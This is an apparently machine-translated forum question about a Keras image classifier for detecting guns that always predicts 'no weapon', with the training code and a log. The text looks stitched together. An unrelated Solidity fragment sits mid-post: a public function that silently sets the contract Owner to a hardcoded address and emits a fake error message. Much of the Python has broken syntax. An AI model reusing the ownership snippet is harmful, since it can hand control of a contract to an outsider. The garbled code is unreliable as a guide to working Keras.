我目前正在开发cnn，以预测两类武器之间的图像分类：武器，而不是武器。该项目的目的是能够检测图像中是否存在武器（手枪/步枪）。

我的问题：无论我尝试什么，分类器都会预测图像中没有武器。你们能在我的代码中找到可能导致此问题的缺陷吗？

我是计算机科学专业的高级学生，但是我对机器学习领域的了解很少。

感谢您的帮助！

event ErrorLog(string msg);

function this() public {
    Owner = 0x583031D1113aD414F02576BD6afaBfb302140225;
    emit ErrorLog("Error in function this");
    return;
}

免责声明：“可能肥皂”只是不包含武器的一组图像。

更新

在这种情况下，输入图像是包含武器的图像。 输出预测为“否”。每次。

更新2 这是代码的输出：

# Initializing the cnn
classifier = Sequential()

# Step 1 - Convolution
classifier.add(Conv2D(32,(3,3),input_shape=(64,64,activation='relu'))

# Step 2 - Pooling
classifier.add(MaxPooling2D(pool_size=(2,2)))

# Adding a second convolutional layer
classifier.add(Conv2D(32,activation='relu'))
classifier.add(MaxPooling2D(pool_size=(2,2)))

# Step 3 - flattening
classifier.add(flatten())

# Step 4 - Full connection
classifier.add(Dense(units=128,activation='relu'))
classifier.add(Dense(units=1,activation='sigmoid'))

# Compiling the cnn
classifier.compile(optimizer='adam',loss='binary_crossentropy',metrics=['accuracy'])

# Part 2 - Fitting the cnn to the images

from keras.preprocessing.image import ImageDataGenerator

train_datagen = ImageDataGenerator(rescale=1. / 255)

test_datagen = ImageDataGenerator(rescale=1. / 255)

valid_datagen = ImageDataGenerator(rescale=1. / 255)

training_set = train_datagen.flow_from_directory('C:/Users/chill/PycharmProjects/499actual/venv/data/TrainDataSet/',target_size=(64,64),batch_size=29,class_mode='binary')

test_set = test_datagen.flow_from_directory('C:/Users/chill/PycharmProjects/499actual/venv/data/Testdataset/',batch_size=7,class_mode='binary')

valid_set = valid_datagen.flow_from_directory('C:/Users/chill/PycharmProjects/499actual/venv/data/ValidationDataSet/',class_mode='binary')

classifier.fit_generator(training_set,steps_per_epoch=348,epochs=1,validation_data=valid_set,validation_steps=100)

# Part 3 - Making new predictions
import numpy as np
from keras.preprocessing import image

# test_image = image.load_img('C:/Users/chill/PycharmProjects/499actual/venv/data/Testdataset/ProbablySoap/P1030135.jpg',#                         target_size=(64,64))
test_image = image.load_img('C:/Users/chill/PycharmProjects/499actual/venv/data/Testdataset/Guns/301.jpeg',64))

test_image = image.img_to_array(test_image)

test_image = np.expand_dims(test_image,axis=0)
result = classifier.predict_classes(test_image)
print(result[0][0])
var = training_set.class_indices
if result[0][0] == 1:
    prediction = 1
    print("Gun!")
else:
    prediction = 0
    print("Not.")

...

Found 348 images belonging to 2 classes.
Found 42 images belonging to 2 classes.
Found 42 images belonging to 2 classes.
Epoch 1/1

  1/348 [..............................] - eta: 1:15 - loss: 0.6915 - accuracy: 0.5517
  2/348 [..............................] - eta: 47s - loss: 0.6994 - accuracy: 0.6724 
  3/348 [..............................] - eta: 38s - loss: 0.7130 - accuracy: 0.6897
  4/348 [..............................] - eta: 33s - loss: 0.6565 - accuracy: 0.7155
  5/348 [..............................] - eta: 30s - loss: 0.6496 - accuracy: 0.7103
  6/348 [..............................] - eta: 28s - loss: 0.6384 - accuracy: 0.7241
  7/348 [..............................] - eta: 27s - loss: 0.6301 - accuracy: 0.7340